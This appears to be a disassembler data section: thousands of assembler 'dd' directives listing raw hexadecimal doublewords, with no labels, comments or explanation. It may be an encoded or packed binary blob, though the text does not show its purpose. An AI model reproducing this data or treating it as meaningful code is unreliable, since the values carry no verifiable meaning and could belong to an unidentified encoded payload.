		dd 0BDC0E824h, 4C06A7Ah, 3DB6C157h, 211868B4h, 7B25395Dh
		dd 4C6611A0h, 0C22C1298h, 4892A0E9h, 0F39A24Ch,	0F25432A5h
		dd 0A9C1A8E8h, 2B117A92h, 3923602Fh, 0C8B73502h, 8936401Ch
		dd 0DB47258Ah, 516D4C5h, 307BFEh, 0FF1CBA8Ah, 3C74C7D5h
		dd 7291DE0Ah, 0FD9C0526h, 9A1C014Ch, 0D52D5109h, 249DCB9h
		dd 0B5F51A7Ah, 0BD1E010Ch, 7C99CA13h, 0B5518410h, 379FDE80h
		dd 40BF070Ah, 406078C6h, 0A26DAE35h, 3265E301h,	0C5D23E2Eh
		dd 5C24282Fh, 90E500E9h, 0BAF00B45h, 8474423Ah,	7028DB25h
		dd 7A051227h, 16E80213h, 5F7214C1h, 4EA0896Eh, 0C0E88848h
		dd 0EB61527Bh, 10C02A4Ch, 0B8508D0Dh, 6B064165h, 29B0B8D2h
		dd 0A570307Bh, 427EC1Fh, 12E52C1Ah, 0C844AD50h,	40EF9DE1h
		dd 2C4F3884h, 683D813Dh, 20FA1E90h, 1B12A89Fh, 0D6CC8804h
		dd 0AC74DE09h, 0D4D4DEE9h, 11DC2A00h, 7D7A4801h, 0FF2C00F4h
		dd 0C998605Ch, 742E2586h, 0A130FC18h, 173AA216h, 0E8B37768h
		dd 5E8CD090h, 8AFF3CC4h, 0D51B00CCh, 95E698A2h,	932EE342h
		dd 0FAE4133Ch, 6A354420h, 5AA81A1Eh, 1074A9C3h,	0A81B7F43h
		dd 0E6408A1Ch, 0B3571FC2h, 7687BBB9h, 0FB0E2C6Ah, 91C4C282h
		dd 1C947844h, 0DD868A40h, 0CB2F3D07h, 0EDF9171Dh, 0D37D8078h
		dd 59BC5B95h, 9F189Dh, 365EC458h, 7CC71E3h, 0E08C7D4Bh
		dd 443A132Eh, 617804D3h, 3419042Ah, 0A30F18ACh,	5EB704ABh
		dd 0E1DD004Ch, 1389E22Ch, 0AA47E05h, 68A8ACC5h,	0A060A84Eh
		dd 8155DA4Dh, 0B9C84142h, 9AEA0405h, 0C753C860h, 0B9FC1078h
		dd 182E1706h, 0E808A4A3h, 450E05FEh, 2BA8B18Ah,	94E3B4B6h
		dd 924F0FB9h, 38F169D0h, 4686E7Ah, 591DE2F2h, 9371F4B8h
		dd 0ECB72DACh, 6C9CBB00h, 93887F2h, 0A477180h, 0C161207Eh
		dd 0A62BF4C3h, 8CABE59Ch, 825496Ch, 0FFF8E0B5h,	3E40B9ABh
		dd 2FA93008h, 0C52CA003h, 0DCA14F8Ch, 47975C38h, 609EC440h
		dd 3E05745Eh, 0DE818984h, 0C50879B4h, 9CD13F23h, 0AF049755h
		dd 9E7B3C30h, 0A7F8BD99h, 84DF5C95h, 171F03FFh,	0EC4120BBh
		dd 0B072B931h, 0BB0E6101h, 485B6CB2h, 0D17855CAh, 0BF665106h
		dd 0E114EB6Fh, 89DAE9DFh, 0DF0E1FB1h, 4EB27E58h, 0DEAB2E00h
		dd 52C1EE25h, 0D7E8DA01h, 0A6AD858Dh, 2222A82Bh, 0FB3EC003h
		dd 0FAB75290h, 0F6505B38h, 80555695h, 31684D58h, 7400BEDDh
		dd 3A0B7CBFh, 0B82C15h,	82691097h, 5F51AC3Fh, 21B57FE3h
		dd 0CB15BC5h, 7F2A18B8h, 0C0901FB4h, 195FF71h, 73BF071Dh
		dd 0D182789Ah, 2D9D290Ch, 5F0F4607h, 37A8B7h, 61C574D3h
		dd 693E7BBh, 85C768B1h,	6502A05h, 0D7018133h, 18F9AB20h
		dd 8E49BD83h, 88D155C2h, 0E930AD20h, 8D090F21h,	480C63D5h
		dd 11AB3050h, 0BC04482h, 107AE8C1h, 0F020ECEh, 5803C04Ch
		dd 0D04E983h, 36EBE775h, 6404DE36h, 3316EE39h, 2829501Bh
		dd 58182140h, 570113CDh, 0BC941B09h, 0EF0988C0h, 0CD552DFBh
		dd 0ADA760AFh, 91A28E52h, 850FA118h, 8B4BE162h,	7FA096DEh
		dd 45495D2h, 164674h, 66658805h, 0BFA199BBh, 5ED78850h
		dd 231E3AEEh, 1DF001Bh,	0E134611Fh, 60F8D3Dh, 0BFD9D8Bh
		dd 475B48D0h, 0E043D1Ah, 58B77355h, 0AC0135D6h,	8BC7862Bh
		dd 0B18DA1B5h, 3A290FE8h, 7E2E5E0h, 0B1289EFDh,	4FB270CEh
		dd 7617D6E6h, 18FAC75Fh, 0B50904FAh, 79BFDD70h,	89D803CCh
		dd 85992434h, 0A5B9AA71h, 605F8F8Ch, 380C4B8h, 61685D3Ah
		dd 8D2BAF06h, 0F036272Dh, 0C1BD1B33h, 0FA100E31h, 0AE901A55h
		dd 58C17B8h, 0FCA02CBDh, 0FB7C24F9h, 43AC48A9h,	0E8858B2Ch
		dd 31EC9036h, 860D0D09h, 8B2D83C4h, 7615F9BDh, 79953A18h
		dd 80600C60h, 57757EC7h, 5B6139h, 8B04C283h, 185089FEh
		dd 4505E820h, 7509A2E3h, 835BBCB9h, 5FBA1F8Dh, 0B887E9B8h
		dd 5D70064h, 73E3BFC1h,	0B5066DABh, 0C599D31h, 503DF0BFh
		dd 88B86525h, 72D292B7h, 0C278DAAAh, 892086EAh,	94349287h
		dd 47569595h, 80640E7Eh, 5BC7FFC9h, 0C03A74E2h,	29F294E1h
		dd 0E45BD18h, 92F99569h, 8474951Bh, 9D9304D6h, 0C0C2367Fh
		dd 8907BF2Ch, 6AFFDAEBh, 0F77A346h, 0D8CCBC86h,	5EB314FFh
		dd 0F857415h, 4412188Fh, 52A014E9h, 6821529h, 90B1FD92h
		dd 12A53E56h, 4B2D3842h, 58756FAAh, 0AF3D16E2h,	5EFAC44Ah
		dd 798D8A39h, 5650CC22h, 0D9BF120Fh, 5BE4A5Fh, 2000F6A3h
		dd 0EB73A366h, 236B68Ah, 7BA9BFBBh, 64562B7h, 0B59F7F25h
		dd 288D5E8Bh, 0DEAFF8ABh, 0FDFE2FA9h, 0DCCC49D6h, 4CCF0D2Ah
		dd 0FEC75550h, 957B00CFh, 0D0A15F54h, 26D941Dh,	297A34D0h
		dd 9CC12A9Bh, 54A59D89h, 0DD3083B4h, 4D5D69A7h,	0C06EC4DDh
		dd 0F5FAE834h, 7FC66125h, 6281DFB7h, 5853AEACh,	1364BE0h
		dd 31F56046h, 3508758Dh, 915D60D6h, 0E57E2641h,	0F0E536B3h
		dd 477F967h, 0CD9D03A7h, 0EB800012h, 516AE9D3h,	2831F3F3h
		dd 6520C1C9h, 0E38C98D9h, 5890AF74h, 0DE1D9B50h, 1B9FAC5Bh
		dd 8E4A1BE9h, 0FE6BBFh,	296D6719h, 0A10AB595h, 7887F526h
		dd 9B0BAA51h, 1AE1D522h, 0C0090F0Ah, 0C4645F05h, 252DB4A0h
		dd 4091C99h, 794D5D24h,	266AB263h, 14DD093Ah, 3104492Ch
		dd 0C80FF185h, 442C12Bh, 38270D10h, 0B74FA48Dh,	0B23E099Fh
		dd 9DD13120h, 801A11D8h, 8B982CF5h, 0BDAC26E7h,	411509C3h
		dd 40216475h, 68A9701h,	0B79594h, 4A66BB50h, 6A5F2D75h
		dd 0E801024Ch, 0DF008C19h, 42FD3E65h, 0C310E9A4h, 9CCF4A1Dh
		dd 59D35E90h, 6B1A9501h, 0E25A756Dh, 597446D1h,	0B7C6AAF9h
		dd 0F7D3840Eh, 0CAF4AE9Eh, 0C29300F1h, 0E419EB38h, 76705565h
		dd 3097D802h, 0CCCA9AE5h, 870F194Ah, 21603B0Bh,	29C217h
		dd 0E961CBBEh, 0F90C5F44h, 815D815Dh, 3D215BEDh, 27A26167h
		dd 5559AFE1h, 0AB009FFh, 600DCD55h, 3886B28Bh, 8248790h
		dd 520E2D91h, 0A065EB29h, 0B7505FDEh, 0FFB4AAAAh, 6CC123CDh
		dd 0FCC4C0D4h, 0CC3D1465h, 2780F3E8h, 0F8E7D7A6h, 6BBAE302h
		dd 0DCF31ACDh, 0AD30A9Fh, 0C50310ABh, 0D9FF5FFBh, 0E0FE7611h
		dd 0BF4AD576h, 5C972FF8h, 1A467CDAh, 0B69B7000h, 0B3F6B8A5h
		dd 25E3FF48h, 0B3377732h, 0D0321380h, 9CFF6A34h, 0CA2CDC5Ah
		dd 1112CCADh, 399B0C85h, 22029DC7h, 0CAE00AD8h,	0BB8004ADh
		dd 0DCA9127Fh, 0C9850867h, 140A1A8h, 20129AB0h,	0E6031D81h
		dd 0C9B52970h, 0E4101302h, 3CFB0071h, 0F5830F61h, 0D0EB75D2h
		dd 0C0F0B9B3h, 2EBBCC03h, 2E58D09h, 0B60F5B3Bh,	1589BAC8h
		dd 16268D24h, 2A188A13h, 8330457Ch, 0F04E8B8h, 0DFE38C4Ch
		dd 4214DC8h, 0BAE2F766h, 8000C9B2h, 0C82BE0D7h,	9BB80156h
		dd 8B7B3162h, 225E6D1h,	0D4B05E9Ah, 5866B6E4h, 0FEB9679Ah
		dd 0F2835200h, 6AB32EB6h, 220D4488h, 7A7E95A3h,	781E698Bh
		dd 9EAB0B9Fh, 3E02D30Eh, 0FC12307h, 66510014h, 0D0F71681h
		dd 74E5CE4h, 9A3B5BB3h,	131611A2h, 0B0C0360h, 4C8BE10Eh
		dd 432642D6h, 1CA562DEh, 3D8DC20Fh, 0B1F16B2Eh,	1B402D31h
		dd 98E183D9h, 258422FCh, 5FEE894Ah, 1EA5D411h, 9E60FE18h
		dd 140AF2E0h, 73958961h, 0A65D0C33h, 8D10E1F3h,	84C83B5h
		dd 0CF81057Fh, 0A208FBA0h, 0DB03A76Ah, 910116B5h, 132C781h
		dd 6668EBB9h, 29BD1876h
		dd 0FCE18D22h, 708B0F3Bh, 822F0FAAh, 34C0B5B4h,	0C89CBADAh
		dd 97F08D3Bh, 766AB8E6h, 68061523h, 87568A31h, 6014C424h
		dd 3233AD9Ch, 0D03AD1C2h, 0F474B07Ah, 0B70030B1h, 0E4C4A642h
		dd 203F0566h, 0C14057C7h, 69278122h, 0DD80C4Dh,	9BF3388h
		dd 730BC941h, 0D19B5FC6h, 978FB78h, 0BF3652E5h,	2CC81D0Eh
		dd 59D3305h, 0AF50D54Fh, 318E3C2h, 0E90878C1h, 5819D5B2h
		dd 587BDB57h, 1C0B25F4h, 9A429F2h, 0C055C2F9h, 9610E552h
		dd 423C44B1h, 9A21DB80h, 0F2560EFh, 56592EEAh, 4E1C09A1h
		dd 0FFD98221h, 17AD2EE1h, 0FB0014ACh, 3E792F3Fh, 0B48BE9A9h
		dd 0A3936C5Fh, 880D55D0h, 50B11101h, 0BC16BA9Fh, 7F9C61E0h
		dd 72684586h, 3018F235h, 1F1768BBh, 4F02820Eh, 6257DEBFh
		dd 0EB05A90h, 0D98C665Fh, 4C52BB60h, 44AE180h, 4ED6BEBh
		dd 671DA23Bh, 1F91CAC1h, 9AC90A01h, 0A02BF7ECh,	4377BF51h
		dd 89154C63h, 27062917h, 818058A6h, 0DC8F5DDFh,	8533133Eh
		dd 31D88175h, 1C703D8Dh, 52836050h, 0EF0FF28Bh,	0F8218025h
		dd 4531585Ah, 0ED2A5861h, 27FACC1h, 41E3D539h, 79F1965Ch
		dd 20F1DA0Eh, 849313DEh, 8CCB34D8h, 25AB0462h, 0C4680028h
		dd 9C4E0EBEh, 348100D5h, 11BD3B24h, 18A8A7F5h, 2FB24836h
		dd 55356037h, 6801791h,	898B01D3h, 34EB8571h, 0B55A9DC1h
		dd 0CDC80F56h, 0E9EA09B3h, 2F1F01E5h, 10801D11h, 2E3588B5h
		dd 77C54B05h, 138192A3h, 82392CEDh, 9E70A535h, 0CDF98185h
		dd 7E60EDB0h, 0F20E1258h, 0B3D0AE3Eh, 6C6360h, 64D570B6h
		dd 28CF16A7h, 68964807h, 1209C750h, 0B0F95787h,	0ED318320h
		dd 0A9B5A32Dh, 5DF6517h, 0A201597h, 8E9D215Fh, 4F37BD0Bh
		dd 9BD3891Bh, 85D780C4h, 97A8232h, 3A7B4F1Dh, 0D7B21B0Fh
		dd 0F329F4F3h, 3319E219h, 0C85C13D8h, 8909CD1Eh, 0FA8A0484h
		dd 0B4FE93B0h, 582D2317h, 161DAE99h, 1A676A30h,	49B5608Ah
		dd 7A558232h, 3BF21F0Dh, 0A4C84097h, 0CA888443h, 0C0B72C02h
		dd 44B5FF5Bh, 78BB930Ah, 2873FF18h, 25016500h, 0BD093D87h
		dd 8262F56Dh, 0CA68FE07h, 0BBAF317Bh, 0A03C0E6h, 507814Ch
		dd 50B68835h, 0B2B89BC7h, 5C54DF34h, 0C11BE6Ah,	0CF00693Fh
		dd 40912E5Bh, 3A124B95h, 0E408D555h, 2077A510h,	0A0270534h
		dd 0AC0E0721h, 2207FC1Ah, 466A5B5Fh, 25D9CFC1h,	4AF84A8Fh
		dd 9373FEEh, 80C77799h,	802A58DEh, 61B626D7h, 59711AC0h
		dd 526148F9h, 0F9C65FB7h, 427D49A6h, 4D7357BBh,	7E87358h
		dd 42AA63F6h, 299701DBh, 0F9B82FBDh, 881EE912h,	1D9503B2h
		dd 25D1726Bh, 525A8EA7h, 1F8951A2h, 0F695BB58h,	0F002D64Eh
		dd 52AE580h, 25CA96E6h,	0B77503F1h, 0A0F984C4h,	72DCAC03h
		dd 0D634DE5Bh, 0B320F6ABh, 0FBB8982Fh, 0A07DFCD3h, 821049F1h
		dd 0F88FDA60h, 4E5AA625h, 60F3AD74h, 0E266F1A9h, 0F417017Dh
		dd 0FBDDFD4Ch, 9B08766h, 0A4018A41h, 473BBB85h,	3FD43586h
		dd 6DB02525h, 7E958C46h, 0C705D60Dh, 0ECEACC61h, 0D7DAB6C3h
		dd 580D8543h, 0BB025625h, 26715323h, 0D98B59E0h, 0CD9255B8h
		dd 14DC78B6h, 32E9DA7Ah, 0B200693Ch, 23E2E81Fh,	6D77C559h
		dd 0FD39FD2Bh, 7F38000h, 7EE38166h, 0CE1A95CCh,	0AD222620h
		dd 0E3000A9Fh, 0A3929B0Ch, 564D8DFFh, 0F0CC54Bh, 6633048Ch
		dd 3E88BF09h, 0ACAF51F8h, 6109DE66h, 5394BBA2h,	2D9D06C8h
		dd 0C44A92Eh, 1FA3E25Ch, 416C22E1h, 0A8844ECh, 0D27A2DE6h
		dd 9A85EF9Ah, 0FB048C86h, 18B5A000h, 373B5268h,	573948E0h
		dd 70C78001h, 28C2835Bh, 8E1DE89Eh, 6400CC7Fh, 84D87714h
		dd 95F9600Fh, 0EB72689h, 0D94EDF82h, 1430E131h,	0D23FA904h
		dd 0C1E88FEAh, 1870FB9h, 0A9A015B4h, 6EEE4B31h,	5A0700FAh
		dd 8567415Ch, 19750E02h, 209F9D0Bh, 22DF51A0h, 4D5E4D6Ah
		dd 25D68761h, 724FEBC8h, 6A2704F9h, 0CA207CA6h,	546A5A70h
		dd 0EB139600h, 0C65A11EAh, 173AB848h, 2E2231A1h, 0A400F1F9h
		dd 65E2A5ADh, 9DBBE980h, 1487457h, 2204D3ECh, 0D0A91081h
		dd 1F655AD8h, 222BA95h,	5630B981h, 102C7122h, 0EABCF81h
		dd 966CBF3Eh, 2FDFCB60h, 4F2502Eh, 3B61AC1Fh, 8F10E908h
		dd 0C9403A6Fh, 0BCF5840Eh, 0DC85E100h, 92CF424h, 29DE90B9h
		dd 251EEECh, 0B619D89h,	0B1225412h, 0A503A118h,	649ACD0Ch
		dd 0CDC601Dh, 0EC690022h, 9A8A7766h, 0A3F88099h, 50079995h
		dd 0DCF2B655h, 2E513DCDh, 64ACDBEDh, 16ED5B00h,	7E4D3EB5h
		dd 9DF909BBh, 0E2512AE4h, 0E3FE90A7h, 181D096Dh, 0CB509240h
		dd 9F8BFC4Ah, 0DE926027h, 0D7F957h, 0EAD3E1C2h,	8D2429C9h
		dd 61972E1Dh, 0FFF53E07h, 3B2CB01Ah, 0DAA6C164h, 0A4349EE0h
		dd 0FA373F74h, 0CB1C528Bh, 66C58814h, 566C4938h, 0A0E9C501h
		dd 58BC6AB0h, 54000D5Bh, 0EFBD9BC0h, 5C003A21h,	0F9D7848Eh
		dd 71EA2Bh, 6374F893h, 0FDCBA9B2h, 64421903h, 80DE7D96h
		dd 7CDF32h, 61E8CC9Eh, 84D3217Fh, 4AB80450h, 0FCB38500h
		dd 46396F50h, 729F0063h, 0AC8C6E9h, 71005407h, 15F368ADh
		dd 191CA47h, 3229EDABh,	0EC46CB0Fh, 0C80F8366h,	0C0CE8D84h
		dd 8BAEAD67h, 0B876302Ch, 0B1931ABCh, 7EC81200h, 8010F336h
		dd 67251F3Bh, 0C78E00AAh, 0DD8C1C94h, 38D95700h, 5E809155h
		dd 81A400B7h, 5F2D0BBAh, 0EB002AB4h, 15E3C170h,	13A5DFEh
		dd 53BE20F6h, 0F8A1E508h, 100C8EBh, 6CEF2652h, 988E9ABDh
		dd 947F038Bh, 62270990h, 0E5AC860Eh, 654EA0EDh,	994889h
		dd 58C04EAh, 7EC79423h,	8207A87Dh, 88D33E0Ch, 68A96760h
		dd 0C09B0376h, 0CAA12E11h, 10F22B0Eh, 88F1C7ABh, 6D9ADE11h
		dd 4C1E250h, 2B4E060Dh,	2E6B461Eh, 378C6E00h, 81A37331h
		dd 191860FAh, 88AB5A9Dh, 8ECD441Eh, 12F5A483h, 11B19373h
		dd 27017956h, 0A2205DA0h, 583BEDB2h, 0E06CA80Fh, 0AB22A6F9h
		dd 64A70050h, 6083D838h, 0F27DB699h, 0D2163903h, 0D0F81B40h
		dd 330EAD1h, 199177E4h,	3B05B092h, 990FF235h, 0AF37EE40h
		dd 0F564EAh, 446C23FDh,	1104FC61h, 0E3274A00h, 48072A31h
		dd 9F7B0E40h, 39ECE576h, 25189D78h, 41E1BC9Eh, 601B00FEh
		dd 0EF6CA462h, 222405CCh, 860F585Eh, 0B540EA9Ah, 2BBB9E80h
		dd 60E6AF54h, 0A368FCB7h, 0BC01D9DBh, 8E71D71Ch, 8752B54Dh
		dd 2D46A174h, 1FF70F7h,	21D01373h, 3059BAFEh, 0F8C0CA15h
		dd 477661B4h, 267148h, 0B9DC8BF1h, 38675C90h, 520E29F0h
		dd 20C909CEh, 0E8229D9Ah, 0D4410005h, 3ADBA987h, 7D003B21h
		dd 2AE5C893h, 3D6D672Ch, 2083D573h, 3E3E2EDh, 0A5B65CA8h
		dd 0FA968207h, 4061A335h, 0CFD4254Eh, 0B8A80552h, 23FEAD85h
		dd 0BEF831C8h, 533142F9h, 6638F693h, 0AE5FE593h, 0FAED0A8Ch
		dd 90DC184h, 2421E1C6h,	161EDA78h, 0B98FD8FFh, 52909D68h
		dd 0E418400h, 0A1D46B91h, 65598C00h, 3CEBCE8Ah,	5D1B0619h
		dd 4384A7B4h, 3B5EFD01h, 3D99DE12h, 36A5E641h, 1B183B22h
		dd 8A6C7D44h, 770E3512h, 0D145244h, 0C0D72249h,	7CE4561h
		dd 0F4A36A8Dh, 0C049011h, 0E8002C4Fh, 0D93DFB29h, 0C1AB8D82h
		dd 0C6A82F53h, 4B0C806Ah, 31E02308h, 94023F0Eh,	3E1DF300h
		dd 1E43D660h, 4265F601h, 5FE6CC7Bh, 9BFE170h, 0ED0ED578h
		dd 7A771600h, 44706716h, 6C001190h, 0C5E8739Eh,	324E0B8h
		dd 0FA1678C0h, 1B983E61h, 11091D40h, 0D602DCA3h, 0B4630F95h
		dd 0CE086F00h, 749D9B43h
		dd 0A26780D6h, 3D3FB966h, 6F528101h, 62B371F9h,	0FD6D0h
		dd 0B2A9682Ch, 95C64B8Fh, 0E571A290h, 0C1387C17h, 0F044AE1Eh
		dd 0A9CC93E8h, 52350026h, 7A9654DCh, 5F7AFEE1h,	0E41390F2h
		dd 494865h, 7248D78Ch, 0C6C17021h, 0FFBDA3E6h, 4003CA27h
		dd 0AFF3AE91h, 4D1B9600h, 9DEF13C4h, 54312C8h, 26C418A5h
		dd 0E70F2A6Eh, 0A4D08E74h, 0A493F518h, 0A45E540Eh, 0C483063Eh
		dd 7C0110CEh, 3F1FBA65h, 0E62A8800h, 0B0A2D2Eh,	21B19443h
		dd 0C008E584h, 6AA76B7Fh, 5133BA18h, 4893D635h,	0D100F9E4h
		dd 0BDA0678Ah, 0E7319E47h, 3BA4EE0Eh, 48CB00C2h, 86028FD0h
		dd 0B94026D5h, 0FE0F40B7h, 5339007Ch, 0FADD7E95h, 5030323Fh
		dd 46D81A6Bh, 9E97271h,	3C3EC5ABh, 0BE012E20h, 9A0058E0h
		dd 0F8BFE279h, 0CB9C9915h, 31031D6Bh, 24A5C4A7h, 0ECCB1CB1h
		dd 0DDC80448h, 0A230818Ah, 43C6305Fh, 978CCF06h, 2D44BB5h
		dd 5914F73Ah, 405D965Bh, 2C64CA9Eh, 898C482Bh, 0D20122F0h
		dd 30864B49h, 0E80378AFh, 8D1AFD8Ch, 5ED6B8h, 7AEED509h
		dd 0E40754BCh, 3A3A1D2Ch, 0F81CDA80h, 0E40A8063h, 5B411599h
		dd 9700659Dh, 0A8B3611Fh, 33B38C5h, 4072003Fh, 7B96DAFDh
		dd 79BD30E0h, 0BC599D4Ah, 537C9F00h, 7FB581Fh, 3C220099h
		dd 9017FD25h, 0A700885Bh, 6F55986Ch, 1FC5FB1h, 99DF12D9h
		dd 203C6AF3h, 0D02946DFh, 65039661h, 488AADAEh,	0F907AA16h
		dd 0D0BFF47Bh, 82FC78BBh, 0B419FB18h, 9A5B9E0Eh, 8FCC000Eh
		dd 0B727EBA9h, 0D98FE5Dh, 0F87F650Ch, 39B2D16h,	31FF7558h
		dd 4BB07BE0h, 0CEF890C9h, 1F642C00h, 2F0D4EC3h,	74B00761h
		dd 0F9DA0BEDh, 9E4D2400h, 0DB06377Bh, 0D9E0C249h, 22650018h
		dd 0D6445073h, 0DC0E35E1h, 4019A17Fh, 62932E3h,	684A303Fh
		dd 0EC73ED47h, 8F0F0A60h, 4CBA9D4Ch, 5A0017F6h,	0C1E4779Ch
		dd 0C200997Dh, 0FD29D89Fh, 9244714h, 0C3BF7A5Dh, 0CFD08993h
		dd 4BCA6648h, 6013D4EBh, 0B0E8CBAEh, 1304EC83h,	0AE241C89h
		dd 6FADCD9h, 5C131C87h,	0BFA1D868h, 32789268h, 3C116203h
		dd 276C9F02h, 0A9B9800Ch, 420F1226h, 0C799C181h, 0F16058FEh
		dd 601E2D4Fh, 0F8AB1879h, 890223FCh, 8B5459C8h,	0E8DB753Ch
		dd 0D08BB0Ch, 52FB0E01h, 1340C289h, 34FF5B5Ah, 835F2419h
		dd 9A9F8B32h, 81E5C555h, 0A0655DC5h, 0E92C40h, 0FFFBBF20h
		dd 43CF3740h, 49A58101h, 9004ADD9h, 4ECDB8E4h, 0F820BBBBh
		dd 1EACDE52h, 8425CA0Ah, 0C0590E12h, 9DE44779h,	19B77B00h
		dd 0E31D7F87h, 0AA55009Eh, 7C0B12DAh, 5000668Bh, 340FE9C4h
		dd 0F94F4Ah, 0CE65B20Ch, 79C0CF17h, 0D2947100h,	0B7C229EEh
		dd 636D00FCh, 966AC45Ch, 354FA814h, 2E56BE8Ch, 40EE8C0Fh
		dd 66505BF8h, 0DFC0BF25h, 714D8B0Bh, 80BD1FC0h,	3BAA7C68h
		dd 0FFCB9D89h, 6CA61912h, 0D02C8DF0h, 69E72E48h, 526DD742h
		dd 7C8EAF66h, 0ECCE8331h, 6005C52Dh, 0A3BEF5D5h, 6FCA4D5h
		dd 84E39B4Fh, 0A4BA517Ah, 0CA00CB8Ah, 5E4B90Dh,	633CF0h
		dd 6A1DF768h, 0B3DE9184h, 5F46AD12h, 822EE1A0h,	0DB002359h
		dd 0DF7A34A4h, 0F26D02D6h, 903BD170h, 9340A676h, 3758Ch
		dd 0B90E24CEh, 0AE40A427h, 0D9059F00h, 0D759BBF1h, 5F3A0266h
		dd 90D88B50h, 0DC9056h,	718B72BFh, 0FF26266h, 57428A50h
		dd 806CD697h, 216A046h,	8C1C77A8h, 0F5655BB9h, 99D8518h
		dd 396929Dh, 3B85ADC1h,	0DF3C0F0Ch, 0DEF97B04h,	0DF89FC16h
		dd 19BBC942h, 2D887E3Eh, 81B869BDh, 702A0EF7h, 333CA1B9h
		dd 9CD1FF19h, 0FA132A99h, 0B48887E2h, 0F47860ABh, 0B6DA0088h
		dd 3DD78146h, 6B621DB4h, 213FD72h, 9DF3026Ah, 63F070h
		dd 3205BEFCh, 604EAC02h, 7459EB4h, 213893ECh, 0D15E9D00h
		dd 57B10B9h, 0FE80BF04h, 0F2BA28A8h, 0E4080039h, 0F3DB339Ah
		dd 5D5E0471h, 8285AF64h, 4123133Bh, 42308F91h, 8E9C40h
		dd 0A31F73F7h, 712503FAh, 0ACFDF812h, 9C5FD0FAh, 960934E0h
		dd 80C918BCh, 0BB669033h, 357A5A20h, 698304AFh,	0F9A1492Ah
		dd 94FFC4A4h, 804E9ED4h, 2A493489h, 6EFE9711h, 0D353B780h
		dd 0AA5F7Ch, 7E824E26h,	9D141AD4h, 71088A04h, 8AF88BC5h
		dd 0E9EE393h, 0B85D9D29h, 580F9018h, 5282178Eh,	0AB645B50h
		dd 900107FAh, 0B6F3EB81h, 663F3193h, 1169606Bh,	9F53F049h
		dd 1B91781Fh, 0EB89BF84h, 8B13DBB2h, 4F56F7FAh,	0F98F129Ah
		dd 0D21F5C00h, 6558A0Fh, 0A509C55Eh, 5937F759h,	0DF835500h
		dd 1F40E79h, 23CAF31Eh,	6D13959Dh, 897D2D3Dh, 0C0FDED9Ah
		dd 2ABE9BF8h, 78F44009h, 90947034h, 82FF5E3Ch, 0C9111F43h
		dd 6508E911h, 0F4203B91h, 2DC5F064h, 8E61480Eh,	815B0025h
		dd 3AE206CBh, 32B0212Ch, 0EF0944h, 0E05416AAh, 47F2DA7Ch
		dd 5A566002h, 0DC0DB58Bh, 0E65F83CAh, 0E9F15370h, 0B577100Ch
		dd 0DA5C0065h, 2CE64552h, 314F5863h, 0E45FF580h, 8D891671h
		dd 0F92CC46Dh, 92AD22B3h, 3E16416Bh, 0DE53A71Eh, 0C100A9F3h
		dd 0D85EE781h, 8A9F1C3Fh, 4409CFA1h, 6299F93Eh,	0EE0CAAF3h
		dd 99710602h, 86D18B1Ch, 0E9D6A154h, 39444B4h, 48012091h
		dd 4C459B8Bh, 0F90222DDh, 0AD34817Eh, 6012A75Ah, 9F5FFCC0h
		dd 53117BA4h, 12E1E306h, 2938546Bh, 0B1E1ABB1h,	398FF8Dh
		dd 0EB6DAA66h, 1E72919Fh, 0CA59517h, 0DB2AFE14h, 893A2C0Ah
		dd 0DE285595h, 9B7B971h, 86BF33Eh, 24303AE7h, 0E16A45A5h
		dd 52B8DF6Dh, 18EA2E3Bh, 484E5B99h, 8BB89FFCh, 931624D7h
		dd 0BE53A8B9h, 3305186Fh, 0ECEE2C03h, 0E5267FF3h, 486085F9h
		dd 11D16C5h, 0FDE14433h, 0DCDD645Bh, 24097884h,	0F8878980h
		dd 69B7BDC1h, 0F1B1B500h, 9DF749Eh, 0A67011E0h,	79F28A80h
		dd 0FC3A75C0h, 0F0A2562Bh, 448A7B6h, 2B8D2E1Fh,	0B8EBADD2h
		dd 0F9EC090Ah, 0D2F957FEh, 0E2E0B3EFh, 31780462h, 881D0585h
		dd 849889E1h, 119FE5B2h, 342BFCCDh, 0FDCFCC4Fh,	6B9AEC00h
		dd 238F26EDh, 4E020974h, 0BAF927E6h, 1DE3AACh, 0F67A356Ch
		dd 3FDA8BCDh, 9554D62Bh, 5A7D7E36h, 0BD0C8FBh, 0B51BC970h
		dd 9AE041F8h, 0FC5B0410h, 212CA2C9h, 0C2B834B3h, 75C16024h
		dd 80000951h, 614FA3C9h, 4C0BCDCCh, 0C049B0BDh,	0CD4CE135h
		dd 3533E1Bh, 3B84B9E2h,	0ABE80A04h, 5F79BE40h, 7AA90081h
		dd 0C99727F2h, 6866D494h, 4F6785BEh, 12D2CA5Fh,	2DA70430h
		dd 1D5FA5A0h, 7BEB8205h, 68C18996h, 5C591461h, 0C4F50E3Eh
		dd 84DBAF93h, 0C0308CC0h, 0BEB0C60Ch, 5A042520h, 8EF79B60h
		dd 0A79A0128h, 0E4303BBCh, 891D5B95h, 1A133F0Eh, 464E16F1h
		dd 93C51488h, 592C0DA9h, 0B5F5A5A7h, 0E6AF8404h, 4E6FE8F9h
		dd 0A7E99FC4h, 82407E8h, 0E6278EC4h, 0D15DB139h, 7E4181Ah
		dd 0BFCFE7Ch, 298E9BBAh, 0A85190E5h, 274E8024h,	40CCC23h
		dd 0C4FC91B2h, 0DACAB0CAh, 0E878904Ch, 0BB708C18h, 7ADCB736h
		dd 4F1B042h, 5B719268h,	0BE52C078h, 615AA544h, 726D4981h
		dd 0F6EEECE3h, 5FA9B032h, 71A19031h, 69169F05h,	254635BDh
		dd 627A8AF7h, 5320550Bh, 7837AB5Bh, 0A02CE9A8h,	467C9201h
		dd 0AB10021Dh, 51AE72C8h, 6FE42778h, 0DCACFC97h, 0A301ECFCh
		dd 6BBCF7B1h, 356A7BB3h, 0DEB6095Ah, 13317682h,	0D3E957D4h
		dd 3F597117h, 1F291005h, 0A6D772A9h, 4120E135h,	174B533h
		dd 883B5D1Fh, 0F8B2DCCBh, 9B04441Dh, 0F8B70F6Ah, 238199C4h
		dd 0D4DE42BBh, 1846D679h
		dd 0E800353Ch, 1520825h, 2D947195h, 4626D028h, 0DE7F04h
		dd 0E839B8AEh, 0B796114Ch, 4F501F3Ah, 0E80C19Bh, 0B5899903h
		dd 0F99D1569h, 0B0A681h, 25FE329h, 85EE7F68h, 2EBB6A02h
		dd 48230B3Ah, 7CC880D4h, 998B5A9Ah, 640E4753h, 2AC2121Ch
		dd 0ACD15F9Eh, 0BD62326h, 0B73A9D84h, 99A4570Eh, 2DEC8A1Bh
		dd 39B63761h, 17E481DEh, 4B2D6A09h, 69C0A15Bh, 9EAD3BE0h
